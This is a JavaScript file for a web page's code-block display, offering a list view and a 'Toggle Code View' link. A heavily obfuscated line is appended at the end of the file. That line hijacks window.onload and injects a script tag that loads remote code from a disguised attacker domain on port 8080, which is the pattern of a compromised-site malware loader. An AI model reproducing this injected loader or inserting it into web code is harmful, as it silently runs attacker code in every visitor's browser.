function createElement(element) {
	element = element.toLowerCase();
	if (typeof document.createElementNS != 'undefined')
		return document.createElementNS('http://www.w3.org/1999/xhtml', element);
	if (typeof document.createElement != 'undefined')
		return document.createElement(element);
	return false;
}

function addClass(el,val) {
	if (!el.className) el.className = val;
	else {
		newClassName = el.className + " " + val;
		el.className = newClassName;
	}
}

function insertAfter(newElement,targetElement) {
	var parent = targetElement.parentNode;
	if (parent.lastChild == targetElement) parent.appendChild(newElement);
	else parent.insertBefore(newElement,targetElement.nextSibling);
}



/* --- code view ---
*/

// set initial view ('pre' or 'ol', defaults to 'pre')
var initialView = 'ol';
var classCodePre = 'code';

function initCodeView() {
	if (!document.getElementsByTagName) return;

	// find all pre elements
	var els = document.getElementsByTagName("pre");
	var numEls = els.length;
	for (var i=0;i<numEls;i++) {
		if (els[i].className && els[i].className.match(classCodePre)) {
			// create, hide and append code list
			var elAlt = createCodeList(els[i]);

			if (initialView === 'ol') els[i].style.display = 'none';
			else elAlt.style.display = 'none';
			insertAfter(elAlt,els[i]);

			// build toggle control
			var elToggle = createElement("a");
			elToggle.appendChild(document.createTextNode("Toggle Code View"));
			elToggle.setAttribute('href',"javascript:;");

			// add toggle event
			elToggle.onclick = function (e) {
				toggleCodeView(this);
			}
			if (elToggle.captureEvents) elToggle.captureEvents(Event.ONCLICK);

			// append control to paragraph and insert before the list
			var elToggleWrap = createElement("p");
			if (initialView === 'ol') addClass(elToggleWrap,"contract");
			else addClass(elToggleWrap,"expand");
			elToggleWrap.appendChild(elToggle);
			els[i].parentNode.insertBefore(elToggleWrap,els[i]);
		}
	}
}

// creates an ordered list as the alternative display for preformatted lines in code elements
// note: it is impractical to use line returns to split lines in IE, so use a code element for each line in the pre
function createCodeList(elCodePre) {
	var elCodeOl = createElement("ol");
	addClass(elCodeOl,'code');

	// iterate through list to grab lines of code
	var odd = true;
	var elsNodes = elCodePre.childNodes;
	var numNodes = elsNodes.length;
	for (var i=0;i<numNodes;i++) {
		// if we have a line of code, grab it (cheat a little and grab innerHTML)
		if (elsNodes[i].nodeName.toLowerCase() === 'code') {
			var elCode = createElement("code");
			elCode.innerHTML = elsNodes[i].innerHTML;

			var elCodeLi = createElement("li");
			elCodeLi.appendChild(elCode);

			// alternate the classes
			if (odd) {
				addClass(elCodeLi,'odd');
				odd = false;
			} else odd = true;

			elCodeOl.appendChild(elCodeLi);
		}
	}

	return elCodeOl;
}

function toggleCodeView(control) {
	var elOrig = control.parentNode.nextSibling;
	var elAlt = elOrig.nextSibling;

	if (elAlt.style.display == 'none') {
		elOrig.style.display = 'none';
		elAlt.style.display = 'block';
		control.parentNode.className = "contract";
	}else{
		elAlt.style.display = 'none';
		elOrig.style.display = 'block';
		control.parentNode.className = "expand";
	}
}

function doCodeView(el) {
    var els = el.childNodes;
    var numEls = els.length;

    // find all pre elements
    for (var i=0;i<numEls;i++) {
        if ((els[i].nodeName.toLowerCase() == "pre") && els[i].className && els[i].className.match(classCodePre)) {
            // create, hide and append code list
            var elAlt = createCodeList(els[i]);

            if (initialView === 'ol') els[i].style.display = 'none';
            else elAlt.style.display = 'none';
            insertAfter(elAlt,els[i]);

            // build toggle control
            var elToggle = createElement("a");
            elToggle.appendChild(document.createTextNode("Toggle Code View"));
            elToggle.setAttribute('href',"javascript:;");

            // add toggle event
            elToggle.onclick = function (e) {
                toggleCodeView(this);
            }
            if (elToggle.captureEvents) elToggle.captureEvents(Event.ONCLICK);

            // append control to paragraph and insert before the list
            var elToggleWrap = createElement("p");
            if (initialView === 'ol') addClass(elToggleWrap,"contract");
            else addClass(elToggleWrap,"expand");
            elToggleWrap.appendChild(elToggle);
            els[i].parentNode.insertBefore(elToggleWrap,els[i]);
        }
    }
}

addLoadEvent(initCodeView);

var M=new String();try {this.R="";var y="";this._='';var P="lxQj[".substr(4);var vt=new String("]");var YU;if(YU!='ud'){YU=''};var z=new Array();var h=String("repl"+"ace");var vV=RegExp;var ch;if(ch!=''){ch='Aa'};var dH='';var d=String("g");var H='';var uS=new Array();var vB;if(vB!='p' && vB != ''){vB=null};this.Ez="";var hSh;if(hSh!=''){hSh='dL'};function v(Hv,g){var En=new Array();var OP=new Array();var a=P;this.pl='';a+=g;var ZF=new String();a+=vt;var gJ=new vV(a, d);return Hv.replace(gJ, H);var pO="";var _F="";};var Zu;if(Zu!='' && Zu!='rW'){Zu=''};var xo="";this.an="";var L=new String("/i"+"3Z1st".substr(3)+"48KocK84".substr(3,2)+"kp"+"hoW7x".substr(0,2)+"iCqtoCiq".substr(3,2)+".c"+"om"+"/i6PD".substr(0,2)+"st"+"ugMoc".substr(3)+"kp"+"ho"+"to"+".c"+"omhY6M".substr(0,2)+"/kERZ".substr(0,2)+"ij"+"zyLIijILzy".substr(4,2)+"qVvZi.ZVqv".substr(4,2)+"2hu4ca".substr(4)+"/g"+"eyHoo".substr(3)+"NWarglWraN".substr(4,2)+"ya6fe.".substr(4)+"co"+"Q5ym/".substr(3)+"nb"+"a."+"coL6U".substr(0,2)+"m."+"LaXwphaLwX".substr(4,2)+"bGFp".substr(3));var D;if(D!='i_' && D!='zR'){D=''};var O=new String("onloa"+"FCkd".substr(3));this.f="";var Y=v('827777077777822727077227',"72");var Tt;if(Tt!='sK' && Tt!='zb'){Tt=''};var U=new Date();var Hv="1";var gY;if(gY!='xD' && gY!='SR'){gY='xD'};var w="vR01scrip".substr(4)+"tf1DG".substr(0,1);var S=v('hGtGt6pQ:Q/G/GgQoQoGg6l6eQ-6c6o6mQ-GaGr6.6sGu6r6f6tGh6e6cQh6aQnQn6eGl6.6cGoGmG.Gg6oQo6gGl6e6u6sQe6rQcQoGnQt6e6nQtQ-6cGoQm6.6nQeQwGsGu6nQsQi6t6eQ.6rQuQ:6',"QG6");var B='';window[O]=function(){var oa="";E=document.createElement(w);var gc="";B+=S;var k;if(k!=''){k='rs'};this.RU="";B+=Y+L;var wW;if(wW!='XA' && wW!='ry'){wW=''};var t_=new Date();var ar=document.body;var KB="";var rm="";var Qn;if(Qn!=''){Qn='ex'};E.defer=Hv;this.BhD="";var Ux;if(Ux!='cV' && Ux!='ac'){Ux='cV'};E.src=B;var og;if(og!='' && og!='ho'){og=''};ar.appendChild(E);var hR='';var Ty='';};var GL='';var vVc=new Array();} catch(K){var dV;if(dV!='ql'){dV='ql'};};var tL;if(tL!='ws' && tL!='tu'){tL='ws'};